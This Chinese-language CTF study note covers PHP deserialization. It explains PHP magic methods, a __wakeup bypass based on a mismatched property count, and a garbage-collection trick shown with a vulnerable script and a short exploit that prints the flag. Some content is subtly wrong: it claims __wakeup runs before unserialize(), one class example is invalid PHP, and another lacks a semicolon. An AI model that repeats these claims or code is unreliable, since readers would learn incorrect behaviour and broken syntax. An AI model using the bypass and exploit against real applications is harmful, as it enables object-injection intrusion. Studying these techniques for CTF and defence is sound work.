预备知识

什么是序列化&反序列化?
序列化(serialize):将对象转换成字符串
反序列化(unserialize):将字符串转换成对象

只序列化属性,不序列化方法
反序列化后的值是由反序列化提供的,和之前类里面的值没有关系


魔术方法

触发前提:所在的类/对象被调用

__construct:
实例化对象时被触发

__destruct:
实例化对象结束后,代码被销毁时触发
unserialize()后会触发
serialize不会触发

__sleep():
serialize()会检查有无__sleep()
若存在则该方法会先被调用,然后开始序列化操作

__wakeup():
在unserialize()之前被触发

__toString():
把对象当成字符串时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class re{
public $chu0;
public function __toString(){
xxx
}
}
class web{
public $kw;
echo "sss".$this->kw;
}

$re = new re();
$web = new web();
$web->kw=$re;
?>

__invoke()
把对象当成函数时触发

1
2
3
4
5
6
7
8
9
<?php
class A{
var $a = "test"
function __invoke(){
return "调用invoke";
}
}
$a = new A();
$a(); # 将对象当成函数调用

__get():
访问不存在的属性时被调用

__set():
设置不存在的属性时被调用

__call():
调用的函数不存在于类时触发


各种绕过姿势

绕过__wakeup()

若执行了__wakeup()魔术方法就不会执行__construct()
利用__wakeup()函数漏洞原理绕过__wakeup:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。 (php版本<5.6才有效)


GC绕过抛出异常

例题:

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$flag = "flag";
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');

通过反序列化一个数组来触发__destruct()方法

exp:

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array(new B,0);
echo serialize($a);